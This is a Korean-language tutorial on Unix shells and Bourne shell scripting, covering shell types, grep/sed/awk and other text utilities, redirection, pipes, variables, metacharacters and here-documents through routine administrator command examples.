● System 유닉스가 나오면서 내장되었던 쉘이 콘쉘(ksh)이다.
● C쉘의 업그레이드 버전의 쉘이 tcsh 쉘이고,
● 콘쉘의 업그레이드 버전의 쉘이 zsh이다.
● 배시쉘(bash)은 본쉘의 기능을 바탕으로 하여 콘쉘의 기능과 C쉘의 기능을 포함한 쉘이다. 유닉스 계열에서 사용하는 쉘중에서 가장 많은 기능을 제공하고 있다.


유닉스의 종류와 쉘의 상관 관계를 정리하여 보면 다음과 같다.

 

[그림1] 쉘의 발전 과정

 

 

 


쉘의 종류는 다음표와 같으며 각 쉘에 관한 자세한 설명이다.


쉘의 종류
설 명
sh(Bourne Shell)
● 최초의 유닉스 쉘로서 벨 연구소의 스티븐 본(Steven Bourne)에    의해 1979년 대중화된 유닉스 버전 7에 들어 있다.
● 솔라리스의 기본 쉘로서 시스템 관리 스크립트를 위한 표준 쉘이다.
● 본쉘은 알골(Algol)이라는 언어에 기반하고 있다.
● 실행시 참조하는 파일 : ~/.profile
● 프로그램 : /bin/sh (/usr/bin/sh), /sbin/sh
● 프롬프트 : $(일반사용자), #(root 사용자)
csh(C Shell)
● 1970년대 후반 버클리 대학의 빌 조이(Bill Joy)에 의해 작성되었으  며 2BSD 유닉스에 포함되어 출시 되었다.
● BSD(Berkeley Software Distribution)의 일환으로 배포 되었다.
● 실행시 참조하는 파일 : ~/.cshrc
● 프로그램 : /bin/csh (/usr/bin/csh)
● 프롬프트 : %(일반사용자), #(root 사용자)
ksh(Korn Shell)
● 1980년대 후반 AT&T Bell 연구소의 데이비드 콘(David Korn)에 의해  개발되었다. 최조의 버전은 1988년에 출시된  유닉스 SVR4 배포판에포함되었다.
● 콘쉘(ksh)은 C쉘(csh)에 비해 빠르고 본쉘(sh)로 작성된 스크립트가 실행되는 호환성을 가지고 있다.
● 실행시 참조하는 파일: ~/.kshrc
● 프로그램 : /bin/ksh (/usr/bin/ksh)
● 프롬프트 : $(일반사용자), #(root 사용자)
bash
(Bourne Again Shell)
● GNU 프로젝트에서 나온 리눅스의 기본 쉘이며 브라이언 폭스   (Brian Fox), 쳇 레이미(Chet Ramey)등에 발전 되었다.
● 프로그램 : /bin/bash
● 프롬프트 : $(일반사용자), #(root 사용자)
기타
● tcsh(Enhanced C Shell)
● zsh
● dtksh(Desktop Korn Shell)
● jsh(Job Control Shell)
● rsh(Restricted Shell)

각 쉘에 가장 자세한 정보를 확인 하기 위해서는 매뉴얼 페이지를 확인 한다.
■ sh(1)      => # man sh
■ ksh(1)     =>  # man ksh
■ csh(1)     => # man csh
■ bash(1)    => # man bash

 

제 2 장  본쉘의 개요


----------------------------
1. 본쉘의 역할
2. 로그인 쉘
3. 본쉘 프로그램의 사용 범위
4. 쉘 변경 및 확인
----------------------------

 

여러가지 유닉스에서 제공되고 있는 쉘은 본쉘(Bourne shell, AT&T), C 쉘(C Shell, 버클리 쉘), 콘쉘(Korn Shell, AT&T, 본쉘 확장)이다. 이 중 본쉘 스크립트는 표준 유닉스의 쉘로 시스템을 관리하는 곳에서 사용하고 있다. 예를 들어 RC(Run Control) Startup Script 등에서 시스템 관리를 위해 사용되는 대부분이 본쉘 스크립트이다. 본쉘은 작으면서도 간결하고 빠른게 동작한다. 그래서 시스템 관리자의 경우 스크립트를 작성하는데 주로 본쉘을 사용한다. 이는 본 쉘이 C 쉘에 비해 스크립트를 간단하면서도 빠르게 작성할 수 있게 지원하기 때문이다.

본쉘의 주요 기능들 중 하나는 명령행 프롬프트에서 입력된 명령어들을 해석하는 대화형 기능이다. 쉘은 명령행에서 입력된 명령어들을 분석하여 '토큰'이라는 단어 단위로 해석한다. 토큰은 탭이나 빈칸, 개행문자 등 공백으로 구분된다. 입력된 명령어들에 메타문자들이 포함되어 있으면 적절하게 처리한다. 쉘은 파일 입출력과 백그라운드 작업을 처리하며, 명령행에서 입력이 정상적으로 분석되었을 경우 해당 명령어를 찾아 실행한다.

본쉘이 제공하는 또 다른 주요 기능은 작업환경을 사용자가 정의할 수 있다는 점이다. 대부분의 경우, 이 기능을 쉘 초기화 파일에서 이루어진다. 이 파일들에서는 터미널 키, 윈도우 속성, 검색경로와 관련된 변수, 터미널 타입, 기본 텍스트 편집기, 프로그래밍을 위한 라이브러리 등에 대한 설정이 들어 있다.

본쉘은 해석형 프로그래밍 언어로도 쓸수 있다. 스크립트라고 불리는 쉘 프로그램은 파일 안에 나열된 명령어들로 구성된다. 본쉘 프로그램은 편집기에서 작성된다. 본쉘 프로그램은 유닉스 명령어와 변수 대입, 조건문, 반복문 등 기본적인 프로그래밍 구조를 적절히 배치시킨 것이다. 본쉘 스크립트는 컴파일 과정을 거칠 필요가 없다. 본쉘은 스크립트의 각 행을 사용자가 키보드로 입력한 명령어인 것처럼 해석해 낸다.

 

 

 

쉘 프롬프트에서 명령어를 직접 입력 할 수 있거나 쉘이 파일로부터 명령어를 읽어 들일수 있다. 파일안에서 포함된 쉘 명령어를 쉘 스크립트(Shell Script) 또는 쉘 프로그램(Shell Programming) 이라고 한다. 보통 쉘스크립트라고 부른다. 이것은 긴 프로그램은 아니고, 간단한 몇줄 또는 몇십줄의 프로그램 라인을 가지고 있는 단일 목적으로 개발되는 프로그램이기 때문이다.

 

(1) 쉘 프로그램을 사용하는 경우

쉘 프로그램을 사용하는 경우는 시스템에 있는 많은 파일들이나 반복적인 작업을 일괄적으로 처리하기 위해 사용되는 경우가 대부분이다.

① 시스템에 존재하는 많은 파일을 가지고 작업을 할 경우
② 반복적으로 같은 작업을 할 경우
③ 일정에 따라 자동으로 작업을 수행하고자 할 경우

 

(2) 쉘 프로그램을 사용하지 않는 경우

쉘 프로그램은 바이너리(Binary) 형태의 실행 파일 형식으로 만들어 지는 것이 아니기 때문에 속도면에서 느리다. 그래서 대량의 작업이나 혹은 매우 복잡한 프로그램이 필요한 경우는 사용하지 않는다. 만약 복잡한 작업이나 세세하고 많은 라인이 필요한 프로그램인 경우에는 쉘 프로그램을 사용하지 않고, C 프로그램(고급언어)을 사용할 것을 권장한다.

다음은 쉘 프로그램을 사용하지 않는 경우에 대한 예이다.
① 빠른 작업 속도를 원하는 경우
② 해야 하는 작업이 매우 복잡한 경우
③ 다른 하드웨어 환경이나 소프웨어를 요구하는 경우

 

 


■ 사용하고 있는 쉘 확인(sh, csh, ksh, bash)
(현재쉘 확인  )# ps
(로그인셀 확인)# grep root /etc/passwd (# echo $SHELL)

(현재쉘 변경  )# sh
(로그인쉘 변경)# usermod -s /bin/sh root (chsh CMD)

 # ps
 # sh
 # ps
 # pstree PID
 # exit
 # ps

 


2
 명령어 종류

 


일반적인 쉘에서 실행할수 있는 명령어(실행할 수 있는 형식)는 (ㄱ)별명(alias), (ㄴ)함수(function), (ㄷ)쉘내부명령어(쉘내장 명령어), (ㄹ)디스크에 존재하는 실행 프로그램등이 있다. 하지만 본쉘은 별명(Alias)이 존재하지 않는다.

함수는 쉘의 메모리에서 정의된다. 내부 명령어는 쉘 안의 내부 수행과정인 반면, 실행 프로그램은 디스크에 위치 한다. 쉘은 경로변수(PATH)를 검사하여 디스크에서 실행할 수 있는 프로그램을 찾고, 해당 명령어가 실행되기 전에 자식 프로세스를 만들어 놓는다. 명령어의 실행 준비가 되면 아래 순서와 같이 명령어 종류를 실행한다.

 ㉠ 키워드(keyword) - if, case, for, while ...
 ㉡ 내부명령어 - cd, set, unset, exit ...
 ㉢ 함수(function) - function () { } ...
 ㉣ 스크립트(Script)/실행 명령어 - backup.sh, ls, find ...

쉘 프롬프트에서 사용자의 명령어가 입력이 되면 쉘에서 정의된 키워드인지 확인 한후 아니라면 내장 명령어인지를 확인한다. 만약 내장 명령어라면 실행을 시키고 아니면 자식 프로세스를 생성(fork)한다. 그럼 부모 쉘은 대기모드로 접어들게 되고 자식 프로세스는 명령어가 컴파일된 실행 프로그램인가를 봐서 만약 맞다면 커널이 새 프로그램을 메모리에 올리고 exec를 사용하여 자식 프로세스로 대체한다. 하지만 컴파일된 프로그램이 아니라면 스크립트 프로그램인가를 보고 맞다면 실행시킨다. 그리고 자식 프로세스가 종료하게 되면 부모 쉘이 대기상태에서 빠져 나오게 된다.

 

 


■ 쉘에서 실행되는 종류
 쉘 내부 명령어(EX: if, while, ...)
 엘리어스(EX: alias ls=’ls –al’)
 함수(EX: a () { CMD ; CMD; CMD }   
 디스크 내에 존재하는 명령어(EX: /bin/ls)

 

 

 

 


제 4 장  유닉스 명령어


-----------------
1. grep 명령어
2. sed 명령어
3. awk 명령어
4. 기타 명령어
-----------------

 

다음에 나오는 나오는 grep, sed, awk(nawk) 명령어는 본쉘 프로그래밍을 잘 작성하기 위해 반드시 필요한 기본적인 명령어들이다. 유닉스에서는 고급 명령어에 속하고 활용범위가 넓으며 많은 기능들이 존재한다. 그러므로 아래의 3개의 명령어를 통해 효율적인 스크립트를 작성할 수 있다.

이 외에도 cut, sort, tr, paste 명령어들도 유닉스의 고급 명령어들로서 쉘프로그래밍에서 많이 사용되고 있다. 본 교제에서는 자세하게 다루고 있지 않지만 유용하기 때문에 따로 공부하기 바란다.

쉘프로그램에서 유용하게 사용되는 명령어들
● cut, sort, tr, paste, date, cpio, crypt, du, diff, cmp, echo, expr
● grep, fgrep, egrep, find, fmt, id, mail, mailx, nohup, pwd, sed,
● sleep, spell, split, head, tail, tee, touch, time, xargs, wc

grep 명령어와 비슷한 egrep, fgrep 명령어도 존재하지만 이 교재에서는 grep 명령어만을 다루고 있다. egrep, fgrep 명령어는 특히 프로세스를 다루는 경우에 유용하게 쓰인다. egrep(1), fgrep(1) 명령어도 매뉴얼을 참고하여 자세한 사용방법에 대해 익혀 두어야 한다.

 

 

 


■ 쉘 스크립트 작성시 필요한 명령어
 쉘 스크립트 작성시 필요한 필수 명령어
  grep CMD
  sed CMD
  awk CMD

 grep 명령어
  # grep OPTIONS PATTERN file1
  OPTIONS: -i, -l, -n, -v, -w, --color
  PATTERN: *  .  ^root  root$  [abc] [a-c] [^a]

  # CMD | grep xinetd
  # cat /etc/passwd | grep root  유저확인
  # ps -ef | grep httpd   데몬실행확인
  # netstat -an | grep :22   포트확인
  # rpm -qa | grep vsftpd   프로그램설치확인
  # chkconfig --list | grep sshd  서비스의현재상태

  OPTIONS
  # grep -i nFS /etc/passwd     /* -i : ignore case */
  # grep -v root /etc/passwd    /* -v : inVerse */
  # ps -ef | grep bash | grep -v grep
  # grep -n root /etc/group     /* -n : number line */
  # grep -l root /etc/hosts /etc/passwd /etc/shadow      /* -l : list file */
  # find /etc -type f -exec grep -l 'eth0' {} \;
  # alias grep='grep --color'

  PATTERNS
  # alias grep='grep --color'
  # grep '^root' /etc/group
  # ls -l | grep '^-'   파일만
  # ls -l | grep '^d'   디렉토리만
  # grep 'root$' /etc/group
  # grep '/bin/bash$' /etc/passwd
  # grep 'no...y' /etc/passwd

  [참고] grep 명령어의 pattern 부분에 변수로 지정하는 경우
  # cat grep.sh
  --------------------------------
  ......
  PATTERN=root
  grep "$PATTERN" /etc/passwd
  ......
  --------------------------------

  [참고] grep -l 옵션에 대한 예제
  WAS(Web Application Server)
  httpd, /etc/httpd/conf/httpd.conf, /was/*, /etc/init.d/httpd start

  # /etc/init.d/httpd start
  .... Server Error .....
  # find /was -type f -exec grep -l "Server Error" {} \;
  /was/bin/server.xml

  # vi /was/bin/server.xml
  /Server Error

  if 조건 ; then

  else
   echo ".... Server Error ...."
  fi

  [참고] grep -l 옵션을 사용하는 다른 예
  리눅스 시스템의 부팅 과정
  .... Server Error .....
  # cd /etc/rc5.d ; find . -type f -exec grep -l "Server Error" {} \;
  /etc/rc5.d/S50network.sh

  # vi /etc/rc5.d/S50network.sh
  /Server Error

 


[root@linux220 ~]# cd /etc/ ; find . -type f -exec grep -l "local_enable=YES" {} \;
./vsftpd/vsftpd.conf

 

 

 sed 명령어
  # sed [–n] 'addressCMD' file1
  # sed [-n] '/pattern/CMD' file1

  ■ CMD 사용하는 방법(p CMD)
  # sed -n '1,3p' /etc/passwd
  # sed -n '/root/p' /etc/passwd   (# grep root /etc/passwd)
  # sed -n '1,/adm/p' /etc/passwd
  # sed -n '10,$p' /etc/passwd
  # sed -n '3p' /etc/passwd

  ■ CMD 사용하는 방법(d CMD)
  # sed '1,3d' /etc/hosts
  # sed '3d' /etc/passwd
  # sed '3,$d' /etc/passwd
  # sed '$d' /etc/passwd
  # sed '/root/d' /etc/passwd   (# grep -v root /etc/passwd)

  ■ CMD 사용하는 방법(s CMD)
  # sed 's/root/ROOT/' /etc/group   (# sed '1,$s/root/ROOT/' /etc/group)
  # sed '1,3s/root/ROOT/g' /etc/group
  # sed 's/^....//' filename
  # sed 's/....$//' filename
  # sed '1,3s/^/    /' /etc/hosts
  # sed '1,3s/^    //' /etc/hosts

  # sed 's#/test/file.sh#/test/file.c#g' file1
  # sed 's;/test/file.sh;/test/file.c;g' file1

  # sed 's/root/ROOT/' /etc/group > /tmp/.file1
  # mv /tmp/.file1 /etc/group
  # sed -i 's/root/ROOT/' /etc/group

  # sed '/linux200/s/192.168.20.200/172.16.20.200/' /etc/hosts > /tmp/.file1
  # mv /tmp/.file1 /etc/hosts

  [참고] sed 명령어의 pattern 부분에 변수로 지정하는 경우
  # cat sed.sh
  ------------------------------------
  ......
  PATTERN=root
  sed "/^$PATTERN/d" /etc/passwd
  ......
  ------------------------------------

  # cat /etc/sysconfig/network-scripts/ifcfg-eth0
  ---------------------------------------------
  IP=172.16.10.249
  NETMASK=255.255.0.0
  .....
  ---------------------------------------------

  # vi ip.sh
  --------------------------------------------
  ........
  . /etc/sysconfig/network-scripts/ifcfg-eth0
  ifconfig eth0 $IP netmask $NETMASK up
  ........

 

 awk 명령어
  # awk '{ print $0 }' testfile
  # awk '{ print $3 $5 $9 }' testfile
  # awk '{ print $3 "    " $9 "    " $6, $7 }' testfile
  # awk '{ print $3 "\t" $5 "\t" $9 }' testfile       
  # awk '{ print $9, "is using", $5, "bytes" }' testfile

  # awk '/file/' testfile
  # awk '{ print $1, $2, $3 }' testfile
  # awk '/file/ { print $1, $2 }' testfile

  # awk -F: '$3 > 499 && $3 < 60000 {print $1}' /etc/passwd
  # df -h / | tail -1 | awk '{print $6}'
  # ifconfig eth0 | grep inet | grep -v inet6 | \
  awk '{print $2}' | awk -F: '{print $2}'
  # ps -elf | awk '$2 == "Z" {print $0}'

 

 


쉘 스크립트를 작성할 때 유용한 명령어를 몇가지만 익혀보자.

● sort 명령어  정열할때 사용하는 명령어
● cut 명령어  각라인의 필드를 자르는 명령어
● paste 명령어  여러개의 파일들을 합치는 명령어
● pr 명령어  파일의 출력결과를 다르게 출력하는 명령어
● uniq 명령어  파일의 내용중 중복되는 부분들을 다루는 명령어
● tr 명령어  파일의 내용을 변환(소문자->대문자, 대문자->소문자)하는 명령어
● split 명령어  하나의 파일을 여러개로 쪼개는 명령어

 

sort 명령어는 정열할 때 사용한다. 기본 정열 방식은 다음과 같다.

● 기본 정열은 오름 차순 정열이다.
● 특정한 필드를 지정하지 않는 이상 첫 번째 필드/두 번째 필드/세 번째 필드 순으로 정열한다.
● 문자열 정렬 방식이 기본이다.

(명령어 형식)
# sort [OPTIONS] filename

-------------------------------------------------------------------------------------
옵션   설명
-------------------------------------------------------------------------------------
-b   space를 무시한다.
-u  중복된 행이 없도록 만든다. 즉, 중복되는 내용의 행을 한 행만 남긴다.
-r   역순으로 정렬한다.
-t X  필드 구분 문자를 설정한다. X 자리에 그 문자가 들어간다.
-n  숫자의 크기 순으로 정렬한다.
-k #  # 번째 필드를 기준으로 정열할 필드 번호를 정한다.
-------------------------------------------------------------------------------------

 ■ 정열 기준
 - 오름차순 정열 방식          <----> 내림차순 정열(-r)
 - 필드(1/2/3...필드)정열 방식 <----> 지정된 필드 정열(-k)
 - 문자열 정열 방식            <----> 숫자 정열(-n)
 - 필드구분자(EX: 공백)        <----> 지정된 필드구분자(-t)


# sort -r file1                    /* 역순으로 정열 */
# sort -k 3 file1                  /* 3번째 필드 기준 정열 */
# sort -k 3 -n file1               /* 3번째 필드 기준, 숫자 정열 방식 */
# sort -t : -k 3 -n /etc/passwd    /* 필드 구분자는 ':', 3번째 필드 기준, 숫자 정열 방식 */

# sort -u file1    /* -u : uiq, 중복된 열을 하나로 출력 */
# sort file1 | uniq -d   /* -d : duplicate, 중복된 데이터만 출력 */
# sort file1 | uniq -u   /* 중복되지 않은 데이터만 출력 */


(많이 사용되는 명령어 형식)
# CMD | sort
# CMD | sort -r
# CMD | sort -r -k 3
# CMD | sort -r -k 3 -n

# cd /var
# du -sk * | sort -rn | more         /* 용량이 큰순서에 맞게 정열 */

 


[EX1] sort 명령어 사용 예
# cat file1

test1   1       2       A
test2   2       3       B
test3   3       4       C
test1   1       2       A
test1   1       2       A


# sort -u file1                     /* 중복된 열을 하나로 출력 */

test1   1       2       A
test2   2       3       B
test3   3       4       C


# sort file1 | uniq -d              /* 중복된 데이터만 출력 */

test1   1       2       A


# sort file1 | uniq -u              /* 중복되지 않은 데이터만 출력 */

test2   2       3       B
test3   3       4       C

 

 

파일이나 표준입력으로 들어온 내용을 행 단위로 특정 열이나 특정 필드로 잘라서 표준 출력으로 보여준다.

(명령어 형식)
# cut [OPTIONS] filename

----------------------------------------------------------------------------------------
옵션  설명
----------------------------------------------------------------------------------------
-cN1,N2-N3,N4 컬럼에 의해서 행을 자를 때 사용한다. 쉼표(,)를 사용하여 여러 컬럼을
  선택할 수 있고, 대쉬(-)에 의해서 자르는 컬럼의 범위를 설정 할 수 있
  다. 여기서 N1, N2, N3, N4는 숫자이다.
-fN  필드에 의해 행을 자른다. 여기서 N은 N번째 필드를 의미한다.
-dX  필드 구분을 위한 분리 문자를 설정한다. 여기서 X는 임의의 문자이고 특
  수 문자나 스페이스를 필드 구분 문자로 사용하기 위해서는 큰 따옴표
  (“”)를 사용한다. 예를 들어 -d 는 스페이스를 필드 분리 문자로 설정한
  것이다.
----------------------------------------------------------------------------------------

# ls -1 | cut -f1 -d"."             /* 필드구분자를 "."로 사용해서 첫번째 필드 출력 */

# cat /etc/passwd | cut -d":" -f1   /* passwd 파일의 첫번째 필드인 사용자 이름 출력 */
 = awk -F: '{print $1}' /etc/passwd
# cat /etc/passwd | cut -c1         /* 파일의 첫번째 문자만 출력 */
# cat /etc/passwd | cut -c1,3       /* 파일의 첫번째 문자와 세번째 문자를 출력 */
# cat /etc/passwd | cut -c1-5       /* 파일의 첫번째 문자부터 다섯번째 문자까지 출력 */

# ifconfig eri0 | grep inet | awk '{print $2}' | cut -d. -f 4  /* 특정 NIC의 IP 주소 추출 */
# cat /etc/hosts | grep loghost | cut -f 1                     /* 서버 IP 주소 추출 */

 

파일들의 행을 합쳐서 하나의 행으로 만들어 출력한다. paste 명령어를 사용하면 각 행의 끝에 분리 문자가 들어간 후에 파일의 각각의 행을 합쳐 하나의 행을 만들기 때문에 각 행의 길이를 일정하게 할 수 없다. 그래서 폭의 길이를 일정하게 해주기 위해서는 pr 명령어를 사용해야 한다.

(명령어 형식)
# paste [OPTIONS] file1 file2 .... > outfile

-------------------------------------------------------------------------------------------
옵션  설 명
-------------------------------------------------------------------------------------------
-d   파일들 사이의 분리 문자를 설정한다. 사용법은 cut 명령어의 -d 옵션과 같다.
-------------------------------------------------------------------------------------------


[EX] paste 명령어 사용예
# cat file1

1111 2222
3333 4444


# cat file2

5555 6666
7777 8888


# paste file1 file2

1111 2222       5555 6666
3333 4444       7777 8888

 


[EX2] cat 명령어를 통한 파일 합치기
# cat file1

1111 2222
3333 4444


# cat file2

5555 6666
7777 8888


# cat file1 file2 > file3

1111 2222
3333 4444
5555 6666
7777 8888

 

 


중복되는 행을 제거한다. uniq 명령어는 인접한 행만 비교하기 때문에 uniq 명령어를 사용하여 중복된 행을 제거하기 위해서는 uniq를 사용하기 전에 sort 명령어를 이용하여 그 내용을 정렬 시켜야 한다. (sort 명령어의 -u 옵션을 사용하는 경우 유용할 때가 많다.)

(명령어 형식)
# uniq [OPTIONS] inputfile [outputfile]

-------------------------------------------
옵션  설 명
-------------------------------------------
-u  중복되지 않는 행만 출력
-d  중복된 행만 출력
-------------------------------------------

# sort file1 | uniq -d   /* 중복된 데이터만 출력 */
# sort file1 | uniq -u    /* 중복되지 않은 데이터만 출력 */

 

 

표준 입력으로 입력을 받아서 문자열1의 문자열2의 문자로 변경하여 출력한다. 즉, 문자열1의 첫문자는 문자열2의 첫문자로 변경되고, 나머지도 대칭적으로 변경된다. 문자열1의 길이가 긴 경우에는 문자열1의 대칭되지 않는 문자들은 문자열2의 마지막 문자로 변경된다.

(명령어 형식)
# tr [OPTIONS] 문자열1 문자열2

-----------------------------------------------------------------------------
옵션  설 명
-----------------------------------------------------------------------------
-c  문자열1을 제외한 문자들을 변경시킨다.
-d  문자열1의 문자들을 제거한다. 이때 문자열2는 사용하지 않는다.
-----------------------------------------------------------------------------


(대문자 -> 소문자 변환)
# cat temp | tr "[A-Z]" "[a-z]"


(소문자 -> 대문자 변환)
# cat temp | tr "[a-z]" "[A-Z]"

 

 

 

 기타 명령어
  sort 명령어
   # df –k
   # du –sk /var   /* -s : sum, -k : KBytes */
   # cd /var
   # du –sk * | sort –nr | more

   # sort –u file1
   # sort file1 | uniq –d
   # sort file1 | uniq -u

   # cat linux200  (# rpm -qa > linux200)
   A
   B
   # cat linux201  (# rpm -qa > linux201)
   A
   B
   C
   # cat linux200 linux201 > sum.txt
   # sort sum.txt | uniq -u

   (사전 파일) dictionary1.txt dictionary2.txt
   # cat dictionary1.txt dictionary2.txt | sort -u > sum.txt

   # df -k
   # du -sk /var
   # cd /var; du -sk * | sort -nr | more
  cut 명령어
   # ifconfig eth0 | grep 'inet addr:' | awk '{print $2}' | \
   cut -d":" -f2
  uniq 명령어
   sort CMD + uniq CMD
   # sort file1 | uniq -d
   # sort file1 | uniq -u
  tr 명령어
   # cat temp | tr "[A-Z]" "[a-z]"
   # cat temp | tr "[a-z]" "[A-Z]"
  head 명령어
   # head /etc/passwd    (# head -10 /etc/passwd)
         (# head -n 10 /etc/passwd)
   # head -5 /etc/passwd (# head -n 5 /etc/passwd)
  tail 명령어
   # tail /etc/passwd   (# tail -10 /etc/passwd)
         (# tail -n 10 /etc/passwd)
   # tail -5 /etc/passwd
   # tail +5 /etc/passwd

   # tail -f /var/log/messages
   # tail -0f /var/log/messages
   # tail -f /var/log/messages /var/log/secure

   # alias pps='ps -ef | head -1 ; ps -ef | grep $1'
   # pps xinetd
   # pps java
  wc 명령어
   # wc /etc/passwd
   # wc -l /etc/passwd
   # wc -w /etc/passwd
   # wc -c /etc/passwd
   
   [참고] Data Gathering(데이터 수집)
   # ps -ef | grep httpd | wc -l
# cat /var/log/secure | grep 'Accepted password for' | grep sshd | grep 'Mar 16' | wc -l

 


 

 

 

■ 쉘의 특성
 리다이렉션(Redirection)  : < << > >> 2> 2>>
 파이프(pipe)   : |
 셀 자체의 기능(bash function) : set -o vi
 변수(Variable)   : export VAR=5
 메타캐릭터(Metacharacter)  : '' "" `` ;
 히스토리(History)   : history
 환경파일(Environment Files) : /etc/profile, ~/.bash_profile, ~/.bashrc

 ■ 리다이렉션(Redirection)
  fd(file description, 파일기술자)
  -------------------------
  0 표준입력(stdin (keyboard))
  1 표준출력(stdout(screen))
  2 표준에러(stderr(screen))
  -------------------------  

  # ls /var /nodir
  # cat
  hello
  hello
  linux
  linux
  <CTRL + D>

  # cat < /etc/passwd
  # cat > file1
  hello
  linux
  <CTRL + D>
  # cat file1

  입력 리다이렉션(Redirection stdin)
   # CMD  < file1
   # CMD 0< file1
   (X) # CMD  << file1 (EX: Here Documentation)

   # cat < /etc/passwd
   # mail -s "Test Mail" root@example.com < report.txt

   # mail root
   Subject: Test Mail
   This is a test.
   <.> or <CTRL + D>
   #

  출력 리다이렉션(Redirection stdout)
   # CMD  >  file1
   # CMD 1>  file1
   # CMD  >> file1
   # CMD 1>> file1

   # ls -l > file.list
   # cat file.list

   # echo 1111 > file1
   # echo 2222 > file1
   # cat file1
   # echo 3333 >> file1
   # cat file1

   [TERM1] # tty
           /dev/pts/3
   [TERM2] # echo hello redirectioin > /dev/pts/3

   # cat dic1.txt dic2.txt > dic3.txt
  에러 리다이렉션(Redirection stderr)
   # CMD 2>  file1
   # CMD 2>> file1

   # ls -l /test /nodir
   정상 출력
   에러 출력
   # ls -l /test /nodir > file1
   정상 출력
   에러 출력
   # ls -l /test /nodir 2> file2
   정상 출력
   에러 출력
   # ls -l /test /nodir > file1 2> file2
   정상 출력
   에러 출력
   # ls -l /test /nodir > file1 2>&1
   정상 출력
   에러 출력

   # script.sh > file.log 2>&1
   $ find / -name core -type f 2>/dev/null
   # ./configure --prefix=/usr/local/apache2 >apache.log 2>&1
 ■ 파이프(Pipe)
  # CMD | CMD

  # ps -ef
  # more /etc/passwd
  # ps -ef | more

  # ps -ef | more # ps -ef > ps.txt
    # more ps.txt

  # CMD | more
  # ps -ef | more
  # ps -ef | grep xinetd

  [참고] CMD | tee file1
  # cal > cal.txt
  # cal | tee cal2.txt

  여러개의 터미널(화면)을 공유하는 경우
   [참고] script CMD
   # cd /test
   # script -a file.log
   # ls ; date ; cal
   # exit
   # cat file.log

  [TERM1]
  # tty
  /dev/pts/3
  [TERM2]
  # tty
  /dev/pts/4
  [TERM3]
  # script -a /dev/null | tee /dev/pts/3 | tee /dev/pts/4
  # CMD
  # exit

  모니터링 구문을 사용하는 경우(로그 생성)
  # while true
  > do
  > netstat -an | grep :80 | wc -l | tee -a file.log
  > sleep 1
  > done

 ■ 쉘 자체의 기능(bash shell function)
  # set -o
  # set -o vi
  # set +o vi
 ■ 변수(Variable) : 문자, 숫자, _, 숫자가 먼저올수 없다, 최대 255글자
  변수의 종류
  - 지역변수(# VAR=5)  : Local Var
  - 환경변수(# export VAR=5)  : Global Var
  - 특수변수($$, $?, $!, $*, $1, $2, ....)
  변수 선언 방법(env/set)
   # VAR=5     (# export VAR=hello) : 변수선언
   # export VAR
   # echo $VAR (# printf $VAR) : 변수확인
   # unset VAR
  변수의 export 의미
   # ps
   # VAR1=5
   # echo $VAR1
   # bash
   # echo $VAR1
   # exit
   # echo $VAR1

   # VAR2=10
   # export VAR2     (# export VAR2=10)
   # echo $VAR2 
   # bash
   # echo $VAR2
   # exit
   # echo $VAR2
  특수변수
   $$, $!, $?
   $*, $#, $0, $1, $2, $3, ....

   $$ : 현재 쉘의 PID 번호 저장(EX: 임시 파일 생성, /tmp/.tmp.$$)
   $! : 바로 이전 수행된 백그라운드 프로세스의 PID 번호 저장
   $? : 바로 이전 수행된 명령어의 return value 저장(0 ~ 255)

   $* : 모든 인자($* == $@)
   $# : 인자의 개수
   $0 : 프로그램 이름
   $1 : 프로그램에 대한 첫번째 인자
   $2 : 프로그램에 대한 두번째 인자
   $3 : 프로그램에 대한 세번째 인자

   # echo $$
   # ps
   # touch /tmp/tmp.$$
   # ls -l /tmp/tmp.*

   # sleep 20 &
   # echo $!
   # sleep 200 &
   # kill $!

   # date
   # echo $?
   # cd /nodir
   # echo $?
   # llllssss
   # echo $?

 

 

# vi script.sh
---------------------------------
#!/bin/bash

NET=172.16.10
START=200
END=230

while [ $START -le $END ]
do
 ping -c 1 $NET.$START > /dev/null 2>&1
 if [ $? -eq 0 ] ; then
  echo "$NET.$START is alive"
 else
  echo "$NET.$START is die"
 fi
 START=`expr $START + 1`
done
   
arp -an | grep $NET | grep -v incomplete
---------------------------------

   ■ 인자 변수(Positional Parameter)
   # cd /test
   # vi test.sh
   -------------------------------
   #!/bin/bash

   echo $*     ---> file1 file2
   echo $#     ---> 2

   echo $0     ---> ./test.sh
   echo $1     ---> file1
   echo $2     ---> file2
   -------------------------------
   # chmod 755 test.sh
   # ./test.sh file1 file2

   # alias pps='ps –ef | head –1 ; ps –ef | grep $1'
   # pps xinetd
   # pps java
   # pps httpd

 


 ■ 쉘 메타캐릭터(Shell Metacharacter)
  ‘’, “”, ``, \, ;
  ‘’: 작은따옴표(single quotation)
   # echo $SHELL
   # echo '$SHELL'
   # echo hello linux
   # echo hello      linux
   # echo 'hello      linux'
  “”: 큰 따옴표(double quotation) $, ``, \
   # echo "$SHELL"
   # echo "$SHELL is     /bin/bash."
  `` : 역 따옴표(back quotation) sh -> ksh -> zsh -> bash
   # date
   (sh  style) # echo `date`
   (ksh style) # echo $(date)
   # echo "`date` is time."
  \ : 백 슬래쉬(back slash)
   # echo $SHELL
   # echo \$SHELL

   # find / -type f –exec grep -l Error {} \;
   # find / -type f –exec grep -l Error {} ';'
   # find / -type f –exec grep -l Error {} ";"

   # alias rm='rm -i'
   # rm -r dir1
   # \rm -r dir1
   
   [참고] \CMD & CMD\
   # ./configure \
   > --prefix=/usr/local/apache2 \
   > --options1=.... \
   > --options2=....

  ; : 세미콜론(semicolon)
   # date
   # cal
   # ls
   # date ; cal ; ls

   # ps –ef | grep xinetd
   # ps –ef | head -1
   # ps –ef | head -1 ; ps –ef | grep xinetd
   # alias pps='ps -ef | head -1 ; ps –ef | grep $1'

   # EDITOR=/usr/bin/vi ; export EDITOR
   # export EDITOR=/usr/bin/vi
 ■ 엘리어스(Alias)
  # alias ls='ls --color'
  # alias ls
  # unalias ls
 ■ 함수
  # a() { ls ; date ; cal ; }
  # a
  # typeset -f
  # unset –f a
  [참고] CMD -> alias -> function -> script
 ■ 환경파일(EX: bash)
  /etc/profile
  ~/.bash_profile
  ~/.bashrc

 


 ■ 기타(Here Documentation(연속)) cat CMD + Here Documnetation

# vi test.sh
-------------------------------
#!/bin/bash

cat << __EOF >> /tmp/.file1.c
#include <stdio.h>
main()
{
 printf("hello");
}
__EOF

gcc -o /tmp/.file1 /tmp/.file1.c
/tmp/.file1
-------------------------------
 

 

 
 ■ 기타(쉘 메타캐릭터 (연속))
 그룹화(Grouping)
